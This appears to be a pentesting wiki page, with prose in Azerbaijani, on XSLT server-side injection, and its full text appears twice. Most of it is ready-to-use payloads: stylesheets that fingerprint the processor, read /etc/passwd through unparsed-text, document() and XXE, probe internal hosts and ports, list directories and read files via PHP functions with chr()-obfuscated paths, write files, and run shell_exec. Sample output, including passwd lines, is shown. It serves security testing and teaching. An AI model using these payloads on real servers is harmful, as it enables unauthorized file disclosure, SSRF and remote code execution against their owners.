XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

XML sənədlərini başqa bir növə çevirmək üçün istifadə olunur. Versiyalar: 1, 2 və 3 (1 ən çox istifadə olunur). Transformasiya serverdə və ya brauzerdə edilə bilər).

Ən çox istifadə olunan frameworklər bunlardır: Libxslt (Gnome), Xalan (Apache) və Saxon (Saxonica).

Nümunə - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
    <cd>
        <title>CD Title</title>
        <artist>The artist</artist>
        <company>Da Company</company>
        <price>10000</price>
        <year>1760</year>
    </cd>
</catalog>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
    <h2>The Super title</h2>
    <table border="1">
        <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
        </tr>
        <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
        </tr>
    </table>
    </body>
    </html>
</xsl:template>
</xsl:stylesheet>

Çalışdırmaq:

$ saxonb-xslt -xsl:xsl.xsl xml.xml
 
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
   <body>
      <h2>The Super title</h2>
      <table border="1">
         <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
         </tr>
         <tr>
            <td>CD Title</td>
            <td>The artist</td>
         </tr>
      </table>
   </body>
</html>

Fingerprint

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

Və execute

$saxonb-xslt -xsl:detection.xsl xml.xml 

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Lokal Faylı Oxumaq

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Fingerprint

Bunu yükləyin və məlumat alın

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Version: <xsl:value-of select="system-property('xsl:version')" /> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <xsl:if test="system-property('xsl:product-name')"> Product Name: <xsl:value-of select="system-property('xsl:product-name')" /> </xsl:if> <xsl:if test="system-property('xsl:product-version')"> Product Version: <xsl:value-of select="system-property('xsl:product-version')" /> </xsl:if> <xsl:if test="system-property('xsl:is-schema-aware')"> Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /> </xsl:if> <xsl:if test="system-property('xsl:supports-serialization')"> Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')" /> </xsl:if> <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')" /> </xsl:if> </xsl:template> </xsl:stylesheet>

SSRF

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
        <br />
    </body>
</html>

Read files

Internal - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Internal - XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Through HTTP

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Internal (PHP-function)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
        <br />
    </body>
</html>

Port scan

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Fayla yazmaq

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J extension

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Include external XSL

<xsl:include href="http://extenal.web/external.xsl"/>

Kodu icra etmək

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

PHP statik funksiyalarına siniflərdən daxil olmaq

Aşağıdakı funksiya XSL sinifinin statik stringToUrl metodunu çağıracaq:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

PreviousCSTI (Client Side Template Injection)NextRegistration & Takeover Vulnerabilities

Last updated 1 year ago

Was this helpful?

XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

XML sənədlərini başqa bir növə çevirmək üçün istifadə olunur. Versiyalar: 1, 2 və 3 (1 ən çox istifadə olunur). Transformasiya serverdə və ya brauzerdə edilə bilər).

Ən çox istifadə olunan frameworklər bunlardır: Libxslt (Gnome), Xalan (Apache) və Saxon (Saxonica).

Nümunə - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
    <cd>
        <title>CD Title</title>
        <artist>The artist</artist>
        <company>Da Company</company>
        <price>10000</price>
        <year>1760</year>
    </cd>
</catalog>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
    <h2>The Super title</h2>
    <table border="1">
        <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
        </tr>
        <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
        </tr>
    </table>
    </body>
    </html>
</xsl:template>
</xsl:stylesheet>

Çalışdırmaq:

$ saxonb-xslt -xsl:xsl.xsl xml.xml
 
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
   <body>
      <h2>The Super title</h2>
      <table border="1">
         <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
         </tr>
         <tr>
            <td>CD Title</td>
            <td>The artist</td>
         </tr>
      </table>
   </body>
</html>

Fingerprint

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

Və execute

$saxonb-xslt -xsl:detection.xsl xml.xml 

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Lokal Faylı Oxumaq

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Fingerprint

Bunu yükləyin və məlumat alın

SSRF

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
        <br />
    </body>
</html>

Read files

Internal - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Internal - XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Through HTTP

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Internal (PHP-function)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
        <br />
    </body>
</html>

Port scan

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Fayla yazmaq

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J extension

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Include external XSL

<xsl:include href="http://extenal.web/external.xsl"/>

Kodu icra etmək

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

PHP statik funksiyalarına siniflərdən daxil olmaq

Aşağıdakı funksiya XSL sinifinin statik stringToUrl metodunu çağıracaq:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

PreviousCSTI (Client Side Template Injection)NextRegistration & Takeover Vulnerabilities

Last updated 1 year ago

Was this helpful?